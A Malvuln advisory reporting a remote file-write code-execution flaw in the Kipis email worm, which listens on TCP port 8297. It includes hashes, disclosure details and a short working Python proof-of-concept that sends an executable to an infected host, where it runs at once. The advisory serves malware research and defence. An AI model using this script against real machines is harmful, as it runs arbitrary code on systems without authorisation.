Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/8d0df60c96e4011c312d61ed3e6dc70e.txt Contact: email@example.com Media: twitter.com/malvuln Threat: Email-Worm.Win32.Kipis.c Vulnerability: Remote File Write Code Execution Description: The malware listens on TCP port 8297. Third-party adversaries who can reach the infected host can write executable code to a file named "winlogins.exe" in SysWOW64 directory. The program will execute as soon as the binary transfer has completed. Successfully tested with a 880 byte executable. Family: Kipis Type: PE32 MD5: 8d0df60c96e4011c312d61ed3e6dc70e Vuln ID: MVID-2022-0652 Dropped files: jpdrop.jpg Disclosure: 10/23/2022 Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=8297 DOOM="DOOM_SM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() time.sleep(0.5) s.close() print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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